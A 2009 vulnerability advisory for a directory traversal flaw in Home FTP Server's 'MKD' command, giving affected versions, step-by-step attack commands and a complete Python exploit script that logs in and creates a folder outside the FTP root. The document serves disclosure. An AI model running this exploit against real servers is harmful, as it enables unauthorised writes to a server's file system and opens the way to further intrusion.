Home FTP Server 'MKD' Command Directory Traversal Vulnerability

Date of Discovery: 17-Nov-2009

Credits:zhangmc[at]mail.ustc.edu.cn

Vendor:
Ari Pikivirta
http://downstairs.dnsalias.net/homeftpserver.html

Affected:
Home FTP Server 1.10.1.139
Earlier versions may also be affected

Overview:
Home FTP Server is an easy use FTP server Application. Directory Traversal Vulnerability exists in Home FTP Server that 

allows an authenticated user to create directories outside the FTP root directory, which may lead to other attacks.

Details:
Home FTP Server fails to sufficiently sanitize user-supplied input in 'MKD' command. An authenticated user could use command 

"MKD ../A" to create a folder named "A" outside the FTP root directory.
If you could log on the server successfully, take the following steps to create directories outside the FTP root directory:

1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("MKD ../A\r\n")
5.sock.close()

Severity:
High

Exploit example:

#!/usr/bin/python
import socket
import sys

def Usage():
    print ("Usage:  ./expl.py <serv_ip>      <Username> <password>\n")
    print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
        Usage()
        sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    sock.send("MKD ../A\r\n")
    sock.close()
    sys.exit(0);